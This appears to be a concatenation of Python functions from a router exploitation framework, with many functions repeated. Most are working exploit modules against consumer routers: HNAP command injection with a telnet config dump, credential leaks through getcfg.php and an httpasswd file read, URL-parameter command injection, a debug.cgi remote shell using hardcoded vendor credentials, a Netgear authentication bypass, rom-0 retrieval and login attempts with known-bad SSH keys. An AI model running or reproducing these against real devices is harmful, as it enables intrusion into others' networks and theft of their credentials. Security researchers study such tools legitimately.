def do_run(self, e): print_info("Testing known keys") client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) connection = core.loader.open_database("./databases/bad_keys.db") cursor = connection.cursor() cursor.execute("SELECT user, port, filename, type, private_key FROM keys;") entries = cursor.fetchall() for entry in entries: try: username = entry[0] port = entry[1] filename = entry[2] key_type = entry[3] string_key = entry[4] if key_type == 'RSA': private_key = paramiko.RSAKey.from_private_key(io.StringIO(string_key)) elif key_type == 'DSA': private_key = paramiko.DSSKey.from_private_key(io.StringIO(string_key)) else: print_error("Failed to load key of type:", key_type) continue client.connect(self.host, port=port, username=username, pkey=private_key, look_for_keys=False, timeout=10) core.io.writetextfile(string_key, filename+".key") print_success("Username:"******"port:", port) print_info("Private key writen to:", filename+".key") client.close() except paramiko.AuthenticationException: pass except: pass
def __init__(self): loader.check_dependencies() core.globals.ouidb_conn = loader.open_database("./databases/oui.db") if core.globals.ouidb_conn is None: print_error( "OUI database could not be open, please provide OUI database") cmd.Cmd.__init__(self) self.prompt = ">" #Load banner with open("./interface/banner.txt", "r") as file: banner = "" for line in file.read(): banner += line self.intro = banner file.close() #Load list of available modules in modules module_directory_names = interface.utils.list_dirs( "./modules") # List directories in module directory for module_name in module_directory_names: path = "./modules/" + module_name vendors = interface.utils.list_dirs(path) vendors_dict = {} for vendor in vendors: vendor_path = path + "/" + vendor files = interface.utils.list_files(vendor_path) vendors_dict[vendor] = files self.modules[module_name] = vendors_dict
def __init__(self, stdout=sys.stdout): loader.check_dependencies() loader.check_create_dirs() core.globals.ouidb_conn = loader.open_database("./databases/oui.db") if core.globals.ouidb_conn is None: print_error("OUI database could not be open, please provide OUI database") cmd.Cmd.__init__(self, stdout=stdout) # stdout had to be added for tests self.prompt = ">" # Load banner with open("./interface/banner.txt", "r", encoding="utf-8") as file: banner = "" for line in file.read(): banner += line self.intro = banner file.close() # Load list of available modules in modules module_directory_names = interface.utils.list_dirs("./modules") # List directories in module directory for module_name in module_directory_names: path = "./modules/" + module_name vendors = interface.utils.list_dirs(path) vendors_dict = {} for vendor in vendors: vendor_path = path + "/" + vendor files = interface.utils.list_files(vendor_path) vendors_dict[vendor] = files self.modules[module_name] = vendors_dict for expl in list(vendors_dict.items()): if len(list(expl[1])) > 0: for items in list(expl[1]): pathmodule = '{}/{}/{}'.format(module_name, expl[0], items) if pathmodule not in self.commands['modules']: self.commands['modules'].append(pathmodule) for commands in self.commands['modules']: self.commands['show'].append(commands.split('/')[0])
def parse_service_list(self, xml_root, device, index): # serviceEntryPointer = False dict_name = "services" service_list_tag = "serviceList" service_tag = "service" service_name_tag = "serviceType" service_tags = ["serviceId", "controlURL", "eventSubURL", "SCPDURL"] try: device[dict_name] = {} # Get a list of all services offered by this device for service in xml_root.getElementsByTagName(service_list_tag)[0].getElementsByTagName(service_tag): # Get the full service descriptor service_name = str(service.getElementsByTagName(service_name_tag)[0].childNodes[0].data) # Get the service name from the service descriptor string service_display_name = self.parse_service_type_name(service_name) if not service_display_name: continue # Create new service entry for the device in ENUM_HOSTS service_entry_pointer = device[dict_name][service_display_name] = {} service_entry_pointer['fullName'] = service_name # Get all of the required service info and add it to ENUM_HOSTS for tag in service_tags: service_entry_pointer[tag] = str(service.getElementsByTagName(tag)[0].childNodes[0].data) # Get specific service info about this service self.parse_service_info(service_entry_pointer, index) except Exception as e: print_error('Caught exception while parsing device service list:', e)
def query_yes_no(question, default="yes"): """Ask a yes/no question via raw_input() and return their answer. "question" is a string that is presented to the user. "default" is the presumed answer if the user just hits <Enter>. It must be "yes" (the default), "no" or None (meaning an answer is required of the user). The "answer" return value is True for "yes" or False for "no". """ valid = {"yes": True, "y": True, "ye": True, "no": False, "n": False} if default is None: prompt = " [y/n] " elif default == "yes": prompt = " [Y/n] " elif default == "no": prompt = " [y/N] " else: raise ValueError("invalid default answer: '%s'" % default) while True: print_info(question + prompt) choice = input().lower() if default is not None and choice == '': return valid[default] elif choice in valid: return valid[choice] else: print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
def __init__(self, stdout=sys.stdout): loader.check_dependencies() core.globals.ouidb_conn = loader.open_database("./databases/oui.db") if core.globals.ouidb_conn is None: print_error("OUI database could not be open, please provide OUI database") cmd.Cmd.__init__(self, stdout=stdout) # stdout had to be added for tests self.prompt = ">" # Load banner with open("./interface/banner.txt", "r") as file: banner = "" for line in file.read(): banner += line self.intro = banner file.close() # Load list of available modules in modules module_directory_names = interface.utils.list_dirs("./modules") # List directories in module directory for module_name in module_directory_names: path = "./modules/" + module_name vendors = interface.utils.list_dirs(path) vendors_dict = {} for vendor in vendors: vendor_path = path + "/" + vendor files = interface.utils.list_files(vendor_path) vendors_dict[vendor] = files self.modules[module_name] = vendors_dict for expl in list(vendors_dict.items()): if len(list(expl[1])) > 0: for items in list(expl[1]): pathmodule = '{}/{}/{}'.format(module_name, expl[0], items) if pathmodule not in self.commands['modules']: self.commands['modules'].append(pathmodule) for commands in self.commands['modules']: self.commands['show'].append(commands.split('/')[0])
def do_run(self, e): url = "http://%s:%s/HNAP1" % (self.host, self.port) headers = { "SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command } try: print_warning("Sending exploit") requests.post(url, headers=headers, timeout=60) print_warning( "HTTPd is still responding this is OK if you changed the payload" ) except requests.ConnectionError: print_success("exploit sent.") answer = query_yes_no( "Do you wish to dump all system settings? (if telned was started)" ) if answer is True: tn = telnetlib.Telnet(self.host, self.port) print_info("Sending command through telnet") tn.read_until(b'#', timeout=15) tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") response = tn.read_until(b'#', timeout=15) tn.close() print_info("Writing response to config.xml") writetextfile(response.decode('ascii'), "config.xml") print_warning( "Don't forget to restart httpd or reboot the device") except requests.Timeout: print_error("timeout")
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: print_error("port value must be integer") elif args[0] == "ssl": if str(args[1]).lower() == "yes": self.ssl = True elif str(args[1]).lower() == "no": self.ssl = False else: print_error("please use yes/no as parameter") elif args[0] == "body": if str(args[1]).lower() == "yes": self.body = True elif str(args[1]).lower() == "no": self.body = False else: print_error("please use yes/no as parameter") except IndexError: print_error("please specify value for variable")
def get_host_info(self, host_info, index): if host_info is not None: # If this host data is already complete, just display it if host_info['dataComplete']: print_warning('Data for this host has already been enumerated!') return try: # Get extended device and service information if host_info: print_info("Requesting device and service info for " + host_info['name'] + " (this could take a few seconds)...") if not host_info['dataComplete']: (xml_headers, xml_data) = self.get_xml(host_info['xml_file']) # print(xmlHeaders) # print(xmlData) if not xml_data: print_error('Failed to request host XML file:' + host_info['xml_file']) return if not self.get_host_information(xml_data, xml_headers, index): print_error("Failed to get device/service info for " + host_info['name']) return print_success('Host data enumeration complete!') # hp.updateCmdCompleter(hp.ENUM_HOSTS) return except KeyboardInterrupt: return
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("Please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: print_error("Port value must be integer") elif args[0] == 'device': if not str.isdigit(args[1]): print_error("Invalid device ID") elif int(args[1]) < 0 or int(args[1]) > len(self.devices): print_error("Invalid device ID") else: index = int(args[1]) print_info("Device: %s" % self.devices[index]['name']) self.number = self.devices[index]['number'] print_info("Setting address to: %d" % self.number) self.offset = self.devices[index]['offset'] print_info("Setting offset: %d" % self.offset) except IndexError: print_error("please specify value for variable")
def query_yes_no(question, default="yes"): """Ask a yes/no question via raw_input() and return their answer. "question" is a string that is presented to the user. "default" is the presumed answer if the user just hits <Enter>. It must be "yes" (the default), "no" or None (meaning an answer is required of the user). The "answer" return value is True for "yes" or False for "no". """ valid = {"yes": True, "y": True, "ye": True, "no": False, "n": False} if default is None: prompt = " [y/n] " elif default == "yes": prompt = " [Y/n] " elif default == "no": prompt = " [y/N] " else: raise ValueError("invalid default answer: '%s'" % default) while True: print_info(question + prompt) choice = input().lower() if default is not None and choice == '': return valid[default] elif choice in valid: return valid[choice] else: print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
def do_run(self, e): user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' headers = {'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C107373883=/omg1337hax'} target = 'http://' + self.host + ":" + self.port + '/blabla' try: response = requests.get(target, headers=headers, timeout=60) if response.status_code != 404: print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code) print_red("Device is not running RomPager") else: if 'server' in response.headers: server = response.headers.get('server') if re.search('RomPager', server) is not None: print_green("Got RomPager! Server:%s" % server) if re.search('omg1337hax', response.text) is not None: print_success("device is vulnerable to misfortune cookie") else: print_failed("test didn't pass.") print_warning("Device MAY still be vulnerable") else: print_failed("RomPager not detected, device is running: %s " % server) else: print_failed("Not running RomPager") except requests.exceptions.Timeout: print_error("Timeout!") except requests.exceptions.ConnectionError: print_error("No route to host")
def __init__(self): loader.check_dependencies() core.globals.ouidb_conn = loader.open_database("./databases/oui.db") if core.globals.ouidb_conn is None: print_error("OUI database could not be open, please provide OUI database") cmd.Cmd.__init__(self) self.prompt = ">" # Load banner with open("./interface/banner.txt", "r") as file: banner = "" for line in file.read(): banner += line self.intro = banner file.close() # Load list of available modules in modules module_directory_names = interface.utils.list_dirs("./modules") # List directories in module directory for module_name in module_directory_names: path = "./modules/" + module_name vendors = interface.utils.list_dirs(path) vendors_dict = {} for vendor in vendors: vendor_path = path + "/" + vendor files = interface.utils.list_files(vendor_path) vendors_dict[vendor] = files self.modules[module_name] = vendors_dict
def do_run(self, e): #httplib2.debuglevel = 1 user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' headers = {'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C107373883=/omg1337hax'} target = 'http://' + self.host + ":" + self.port + '/blabla' h = httplib2.Http(timeout=60) h.follow_all_redirects = True try: response, content = h.request(target, 'GET', headers=headers) if response.status != 404: print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status) print_red("Device is not running RomPager") else: if 'server' in response.keys(): server = response.get('server') if re.search('RomPager', server) is not None: print_green("Got RomPager! Server:%s" % server) if re.search('omg1337hax', content.decode()) is not None: print_success("device is vulnerable to misfortune cookie") else: print_failed("test didn't pass.") print_warning("Device MAY still be vulnerable") else: print_failed("RomPager not detected, device is running: %s " % server) else: print_failed("Not running RomPager") except socket.timeout: # Is there a better way of handling timeout in httplib2? print_error("Timeout!")
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: print_error("port value must be integer") elif args[0] == "ssl": if str(args[1]).lower() == "yes": self.ssl = True elif str(args[1]).lower() == "no": self.ssl = False else: print_error("please use yes/no as parameter") elif args[0] == "body": if str(args[1]).lower() == "yes": self.body = True elif str(args[1]).lower() == "no": self.body = False else: print_error("please use yes/no as parameter") except IndexError: print_error("please specify value for variable")
def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] else: print_error("provide valid MAC address")
def do_load(self, module): tokens = module.split("/") while tokens: # That'll do pig. module = tokens.pop(0) if module in self.modules: # Basic idea if first word is exploits, scanners etc. go to REXT root self.do_unload(None) if isinstance( self.active_module, set ): # If you are in the last layer and only .py files load them core.globals.active_script = module module_path = core.globals.active_module_path + module self.active_module_import_name = interface.utils.make_import_name( module_path) loader.load_module(self.active_module_import_name ) # Module is loaded and executed try: loader.delete_module( self.active_module_import_name ) # Module is unloaded so it can be used again except ValueError: pass core.globals.active_module_import_name = "" elif isinstance(self.active_module, dict): # Else change directory depth if module in self.active_module.keys(): self.active_module = self.active_module.get(module) core.globals.active_module_path += module + "/" interface.utils.change_prompt( self, core.globals.active_module_path) else: print_error( module + " not found" ) # If error occurred then print error and break parsing break
def send_payload(self, payload): target = "http://" + self.host + ":" + self.port + "/" + payload try: response = requests.get(target, timeout=60) return response.text except requests.RequestException: print_error("timeout!")
def send_payload(self, payload): target = "http://" + self.host + ":" + self.port + "/" + payload try: response = requests.get(target, timeout=60) return response.text except requests.RequestException: print_error("timeout!")
def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address")
def do_set(self, e): args = e.split(' ') if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address")
def writetextfile(text, filename): dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today().isoformat() try: if not os.path.exists(dirpath): os.mkdir(dirpath) open(dirpath + "/" + filename, 'w').write(text) return dirpath except OSError: print_error("Unable to create directory")
def writefile(stream, filename): dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today().strftime('%Y-%b-%d-%H:%M') try: if not os.path.exists(dirpath): os.mkdir(dirpath) open(dirpath + "/" + filename, 'wb').write(stream) return dirpath except OSError: print_error("Unable to create directory")
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") except IndexError: print_error("please specify value for variable")
def writefile(stream, filename): dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today( ).isoformat() try: if not os.path.exists(dirpath): os.mkdir(dirpath) open(dirpath + "/" + filename, 'wb').write(stream) return dirpath except OSError: print_error("Unable to create directory")
def do_set(self, e): args = e.split(' ') try: if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") except IndexError: print_error("please specify value for variable")
def do_set(self, e): args = e.split(' ') try: if args[0] == "file": if interface.utils.file_exists(args[1]): self.input_file = args[1] else: print_error("file does not exist") except IndexError: print_error("please specify value for variable")
def writetextfile(text, filename): dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today( ).strftime('%Y-%b-%d-%H:%M') try: if not os.path.exists(dirpath): os.mkdir(dirpath) open(dirpath + "/" + filename, 'w').write(text) return dirpath except OSError: print_error("Unable to create directory")
def do_set(self, e): args = e.split(' ') try: if args[0] == "file": if interface.utils.file_exists(args[1]): self.input_file = args[1] else: print_error("file does not exist") except IndexError: print_error("please specify value for variable")
def update_oui(): if interface.utils.file_exists("./databases/oui.db") and core.globals.ouidb_conn is not None: connection = core.globals.ouidb_conn cursor = connection.cursor() # Truncate database print_info("Truncating oui table") cursor.execute("""DROP TABLE oui""") cursor.execute("""CREATE TABLE oui ( id INTEGER PRIMARY KEY NOT NULL, oui TEXT UNIQUE, name TEXT)""") # This is very important, sqlite3 creates transaction for every INSERT/UPDATE/DELETE # but can handle only dozen of transactions at a time. # BEGIN guarantees that only one transaction will be used. # Now the DB rebuild should take only seconds cursor.execute('begin') print_info("Downloading new OUI file") path = interface.utils.wget("http://standards.ieee.org/regauth/oui/oui.txt", "./output/tmp_oui.txt") if not path: print_error('Failed to download') return file = open(path, "r") regex = re.compile(r"\(base 16\)") for line in file: if regex.search(line) is not None: line = "".join(line.split("\t")) line = line.split("(") oui = line[0].replace(" ", "") company = line[1].split(")")[1] company = company.replace("\n", "") if company == " ": company = "Private" try: cursor.execute("INSERT INTO oui (oui, name) VALUES (?, ?)", [oui, company]) status = '\rInserting {0}:{1}' sys.stdout.write(status.format(company, oui)) except Exception as e: # CONRAD CORP. and CERN + ROYAL MELBOURNE INST OF TECH share oui, this should be considered # print(e) # print(oui + " " + company) # SELECT name FROM oui.oui WHERE oui = oui # UPDATE oui.oui SET name = name+" OR "+company WHERE oui=oui pass print() # Add a few OUIs manually (from NMAP oui file) cursor.execute("INSERT INTO oui (oui, name) VALUES ('525400', 'QEMU Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('B0C420', 'Bochs Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('DEADCA', 'PearPC Virtual NIC')") cursor.execute("INSERT INTO oui (oui, name) VALUES ('00FFD1', 'Cooperative Linux virtual NIC')") connection.commit() try: os.remove("./output/tmp_oui.txt") except OSError: pass
def send(self, data, sock): # By default, use the client socket that's part of this class if not sock: sock = self.csock try: sock.sendto(bytes(data, 'UTF-8'), (self.host, self.port)) return True except Exception as e: print_error("send method failed for " + self.host + ":" + str(self.port)) traceback.print_tb(e) return False
def do_set(self, e): args = e.split(' ') if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") elif args[0] == "port": if str.isdigit(args[1]): self.port = args[1] else: print_error("port value must be integer")
def do_set(self, e): args = e.split(' ') if args[0] == "host": if interface.utils.validate_ipv4(args[1]): self.host = args[1] else: print_error("please provide valid IPv4 address") elif args[0] == "port": if isinstance(args[1], int): self.port = args[1] else: print_error("port value must be integer")
def do_msearch(self, e): default_st = "upnp:rootdevice" st = "schemas-upnp-org" myip = '' lport = self.port # if argc >= 3: # if argc == 4: # st = argv[1] # searchType = argv[2] # searchName = argv[3] # else: # searchType = argv[1] # searchName = argv[2] # st = "urn:%s:%s:%s:%s" % (st,searchType,searchName,hp.UPNP_VERSION.split('.')[0]) # else: st = default_st # Build the request request = "M-SEARCH * HTTP/1.1\r\n" \ "HOST:%s:%d\r\n" \ "ST:%s\r\n" % (self.host, self.port, st) for header, value in self.msearchHeaders.items(): request += header + ':' + value + "\r\n" request += "\r\n" print_info("Entering discovery mode for '%s', Ctl+C to stop..." % st) # Have to create a new socket since replies will be sent directly to our IP, not the multicast IP server = self.create_new_listener(myip, lport) if not server: print_error('Failed to bind port %d' % lport) return self.send(request, server) count = 0 start = time.time() while True: try: if 0 < self.max_hosts <= count: break if 0 < self.timeout < (time.time() - start): raise Exception("Timeout exceeded") if self.parse_ssdp_info(self.recieve(1024, server), False, False): count += 1 except AttributeError: # On Ctrl-C parseSSDPInfo raises AttributeError exception print('\n') print_info('Discover mode halted...') break
def do_run(self, e): # First check with the same code as in misfortune cookie scanner is_vulnerable = self.check() if self.offset is None: print_error("Please set device model by running set device id") if is_vulnerable: self.auth_bypass() else: if query_yes_no( "Check indicates device is not vulnerable, would you like to try the exploit anyway?", default="no"): self.auth_bypass()
def do_run(self, e): url = "http://%s:%s/getcfg.php" % (self.host, self.port) payload = {'SERVICES': 'DEVICE.ACCOUNT'} headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' } try: print_warning("Sending exploit") response = requests.post(url, headers=headers, data=payload, timeout=60) if "<service>DEVICE.ACCOUNT</service>" in response.text: usernames = re.findall("<name>(.*)</name>", response.text) passwords = re.findall("<password>(.*)</password>", response.text) if "==OoXxGgYy==" in passwords: print_error("Exploit failed, router responded with default value ==OoXxGgYy==") else: print_success("") for i in range(len(usernames)): print("Username: "******"Password: "******"Exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def parse_device_autocomplete(self, index): autocomplete_structure = {} host = self.enum_hosts[index] if host['dataComplete']: try: for device, deviceData in host['deviceList'].items(): autocomplete_structure[device] = {} for service, serviceData in deviceData['services'].items(): autocomplete_structure[device][service] = {} for action, actionData in serviceData['actions'].items(): autocomplete_structure[device][service][action] = [] except KeyError: print_error("Error in autocomplete") return autocomplete_structure
def parse_header(self, data, header): delimiter = "%s:" % header lowerdelim = delimiter.lower() dataarray = data.split("\r\n") # Loop through each line of the headers for line in dataarray: lowerline = line.lower() # Does this line start with the header we're looking for? if lowerline.startswith(lowerdelim): try: return line.split(':', 1)[1].strip() except: print_error("parsing header data failed for: " + header)
def do_run(self, e): url = "http://%s:%s/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" % (self.host, self.port) try: print_yellow("Sending exploit") response = requests.get(url, timeout=60) if response.status_code == 200 and "<center>" in response.text: print_success("credentials fetched") credentials = re.findall("<center>\n\t\t\t(.*)", response.text) print_green(credentials[0]) except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): url = "http://%s:%s/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" % (self.host, self.port) try: print_yellow("Sending exploit") response = requests.get(url, timeout=60) if response.status_code == 200 and "<center>" in response.text: print_success("credentials fetched") credentials = re.findall("<center>\n\t\t\t(.*)", response.text) print(credentials[0]) except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed")
def do_run(self, e): file = "" for file in self.files: print_info("Testing file: " + file) url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, "sleep 10") try: print_info("Doing timebased check with sleep 10") time_start = datetime.datetime.now() response = requests.get(url=url, timeout=60) time_end = datetime.datetime.now() delta = time_end - time_start if response.status_code == 200 and "Update Success!" in response.text: if 13 > delta.seconds > 9: print_success("Timebased check OK target should be vulnerable") else: print_warning("Timebased check failed, but target still might be vulnerable") break except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed") print_success("Vulnerable file:" + file) print_info("Sending command") url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \ "%s; echo #" % (self.host, self.port, file, self.command) try: response = requests.get(url=url, timeout=60) if response.status_code == 200 and "Update Success!" in response.text: print_success("command sent") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("target stopped responding or you issued reboot or killed lighttpd")
def do_run(self, e): url = "http://%s:%s/debug.cgi" % (self.host, self.port) data = {"data1": "echo 741852", "command": "ui_debug"} try: response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60) result = re.findall( "<textarea rows=30 cols=100>\\n(.*)\\n</textarea>", response.text) if "741852" == result[0]: print_success("Target is vulnerable") data = {"data1": self.command, "command": "ui_debug"} response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60) result = re.findall( "<textarea rows=30 cols=100>\\n(.*)\\n</textarea>", response.text) print(result[0]) else: print_error("target is not vulnerable") except requests.Timeout: print_error("timeout") except requests.ConnectionError: print_error("exploit failed") except TypeError: print_error("Something went wrong in answer parsing")
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target, timeout=60) if response.status_code == requests.codes.unauthorized: print_yellow("Password protection detected") for i in range(0, 3): time.sleep(1) requests.get(target+"/BRS_netgear_success.html", timeout=60) response = requests.get(target, timeout=60) if response.status_code == requests.codes.ok: print_success("bypass successful. Now use your browser to have at look at the admin interface.") except requests.RequestException: print_error("timeout!")
def do_add(self, e): args = e.split(' ') if len(args) != 2: print_error("Invalid number of arguments") else: index = len(self.enum_hosts) self.enum_hosts[index] = { 'name': args[0], 'dataComplete': False, 'proto': 'http://', 'xml_file': args[1], 'serverType': None, 'upnpServer': None, 'deviceList': {} }
def get_xml(self, url): headers = {'USER-AGENT': 'uPNP/' + self.upnp_version, 'CONTENT-TYPE': 'text/xml; charset="utf-8"'} try: # Use urllib2 for the request, it's awesome # req = urllib.Request(url, None, headers) # This is GET # response = urllib.urlopen(req) response = requests.get(url, headers=headers, timeout=60) output = response.text headers = response.headers return headers, output except Exception: print_error("Request for '%s' failed" % url) return False, False
def get_host_information(self, xml_data, xml_headers, index): if self.enum_hosts[index]['dataComplete']: return if 0 <= index < len(self.enum_hosts): try: xml_root = xml.dom.minidom.parseString(xml_data) self.parse_device_info(xml_root, index) # self.enum_hosts[index]['serverType'] = xml_headers.getheader('Server') self.enum_hosts[index]['serverType'] = xml_headers['Server'] self.enum_hosts[index]['dataComplete'] = True return True except Exception as e: print_error('Caught exception while getting host info:') traceback.print_stack(e) return False
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target, timeout=60) if response.status_code == requests.codes.unauthorized: print_yellow("Password protection detected") for i in range(0, 3): time.sleep(1) requests.get(target + "/BRS_netgear_success.html", timeout=60) response = requests.get(target, timeout=60) if response.status_code == requests.codes.ok: print_success( "bypass successful. Now use your browser to have at look at the admin interface." ) except requests.RequestException: print_error("timeout!")
def decompress_firmware(data): """Decompress firmware""" flen = len(data) sigstart = data.find(b'\xA5\xA5\xA5\x5A\xA5\x5A') # Try an alternative signature if sigstart <= 0: sigstart = data.find(b'\x5A\x5A\xA5\x5A\xA5\x5A') # Compressed FW block found, now decompress if sigstart > 0: print_info('Signature found at [0x%08X]' % sigstart) lzosizestart = sigstart + 6 lzostart = lzosizestart + 4 lzosize = unpack('>L', bytes(data[lzosizestart:lzostart]))[0] return data[0x100:sigstart + 2] + core.compression.lzo.pydelzo.decompress( b'\xF0' + pack(">L", 0x1000000) + data[lzostart:lzostart + lzosize]) else: print_error('Compressed FW signature not found!') return None
def do_run(self, e): target = "http://" + self.host + ":" + self.port try: response = requests.get(target + "/rom-0", timeout=60) content_type = 'application/octet-stream' if response.status_code == requests.codes.ok and response.headers.get('Content-Type') == content_type: print_success("got rom-0 file, size:" + str(len(response.content))) core.io.writefile(response.content, "rom-0") else: print_error("failed") print_info("Checking if rpFWUpload.html is available") response = requests.get(target + "/rpFWUpload.html", timeout=60) if response.status_code == requests.codes.ok: print_success("rpFWUpload.html is accessible") else: print_failed("rpFWUpload.html is not accessible") except requests.RequestException: print_error("timeout!")